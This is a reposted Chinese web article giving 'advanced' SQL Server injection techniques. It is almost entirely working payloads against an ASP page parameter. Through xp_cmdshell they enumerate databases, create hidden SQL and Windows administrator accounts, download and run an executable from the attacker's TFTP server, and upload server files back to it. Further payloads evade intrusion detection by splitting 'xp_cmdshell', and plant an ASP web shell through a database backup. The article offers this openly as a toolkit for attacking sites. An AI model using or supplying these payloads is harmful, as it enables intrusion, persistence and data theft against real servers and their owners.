桂林老兵的SQLSERVER高級注入技巧 (摘)
2024-07-21 02:05:48
供稿:網(wǎng)友
現(xiàn)在將老兵本人多年的sqlserver注入高級技巧奉獻給支持老兵的朋友:
前言:
即是高級技巧,其它基本的注入方法就不詳述了。
看不懂可查本站的注入基礎(chǔ)文章。
為了更好的用好注入,建議大家看看本站的sql語法相關(guān)文章
[獲取全部數(shù)據(jù)庫名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值為7以上都是用戶數(shù)據(jù)庫
[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
select top 1 name from 數(shù)據(jù)庫名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
select top 1 數(shù)據(jù)庫名.dbo.col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]
通過sqlserver注入漏洞建數(shù)據(jù)庫管理員帳號和系統(tǒng)管理員帳號[當(dāng)前帳號必須是sysadmin組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫用戶用戶test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執(zhí)行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統(tǒng)用戶test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統(tǒng)用戶test提升為管理員
這樣,你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了test管理員賬號了
下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設(shè)為tftp服務(wù)器,將69端口打開]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的ip get file.exe';--
然后運行這個文件:
id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下載服務(wù)器的文件file2.doc到本地tftp服務(wù)器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的ip put file2.doc';--
繞過ids的檢測[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
新加的:
建一個表。只有一個字段,類型為image,將asp內(nèi)容寫入。導(dǎo)出數(shù)據(jù)庫為文件
backup database dbname to disk='d:/web/db.asp';
報錯得到系統(tǒng)操作系統(tǒng)和數(shù)據(jù)庫系統(tǒng)版本號
id=2 and 1<>(select @@version);注冊會員,創(chuàng)建你的web開發(fā)資料庫,